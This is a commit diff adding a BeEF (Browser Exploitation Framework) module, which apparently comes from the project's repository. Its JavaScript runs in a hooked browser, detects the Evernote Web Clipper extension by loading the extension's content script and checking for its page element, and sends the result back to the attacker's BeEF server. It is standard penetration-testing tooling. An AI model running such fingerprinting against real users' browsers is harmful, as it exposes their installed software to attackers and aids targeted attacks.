Detect the presense of Evernotes Clipper Extension in Chrome
This commit is contained in:
34
modules/browser/detect_evernote_clipper/command.js
Normal file
34
modules/browser/detect_evernote_clipper/command.js
Normal file
@@ -0,0 +1,34 @@
|
|||||||
|
//
|
||||||
|
// Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
// Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
// See the file 'doc/COPYING' for copying permission
|
||||||
|
//
|
||||||
|
|
||||||
|
beef.execute(function() {
|
||||||
|
var result = "";
|
||||||
|
|
||||||
|
var s = document.createElement('script');
|
||||||
|
s.onload = function() {
|
||||||
|
result = "Detected through presense of extension content script.";
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+result);
|
||||||
|
}
|
||||||
|
s.src = 'chrome-extension://pioclpoplcdbaefihamjohnefbikjilc/content/frame.js';
|
||||||
|
document.body.appendChild(s);
|
||||||
|
|
||||||
|
var evdiv = document.getElementById('evernoteGlobalTools');
|
||||||
|
if (typeof(evdiv) != 'undefined' && evdiv != null) {
|
||||||
|
// Evernote Web Clipper must have been active as well, because we can detect one of the iFrames
|
||||||
|
iframeresult = "Detected evernoteGlobalTools iFrame. Looks like the Web Clipper has been used on this page";
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper="+iframeresult);
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
setTimeout(function() {
|
||||||
|
if (result == "") {
|
||||||
|
beef.net.send("<%= @command_url %>", <%= @command_id %>, "evernote_clipper=Not Detected");
|
||||||
|
}
|
||||||
|
document.body.removeChild(s);
|
||||||
|
}, 2000);
|
||||||
|
|
||||||
|
});
|
||||||
|
|
||||||
16
modules/browser/detect_evernote_clipper/config.yaml
Normal file
16
modules/browser/detect_evernote_clipper/config.yaml
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
beef:
|
||||||
|
module:
|
||||||
|
detect_evernote_clipper:
|
||||||
|
enable: true
|
||||||
|
category: "Browser"
|
||||||
|
name: "Detect Evernote Web Clipper"
|
||||||
|
description: "This module checks if the Evernote Web Clipper extension is installed and active."
|
||||||
|
authors: ["xntrik"]
|
||||||
|
target:
|
||||||
|
not_working: ["IE"]
|
||||||
|
working: ["C"]
|
||||||
14
modules/browser/detect_evernote_clipper/module.rb
Normal file
14
modules/browser/detect_evernote_clipper/module.rb
Normal file
@@ -0,0 +1,14 @@
|
|||||||
|
#
|
||||||
|
# Copyright (c) 2006-2014 Wade Alcorn - wade@bindshell.net
|
||||||
|
# Browser Exploitation Framework (BeEF) - http://beefproject.com
|
||||||
|
# See the file 'doc/COPYING' for copying permission
|
||||||
|
#
|
||||||
|
class Detect_evernote_clipper < BeEF::Core::Command
|
||||||
|
|
||||||
|
def post_execute
|
||||||
|
content = {}
|
||||||
|
content['evernote_clipper'] = @datastore['evernote_clipper'] if not @datastore['evernote_clipper'].nil?
|
||||||
|
save content
|
||||||
|
end
|
||||||
|
|
||||||
|
end
|
||||||
Reference in New Issue
Block a user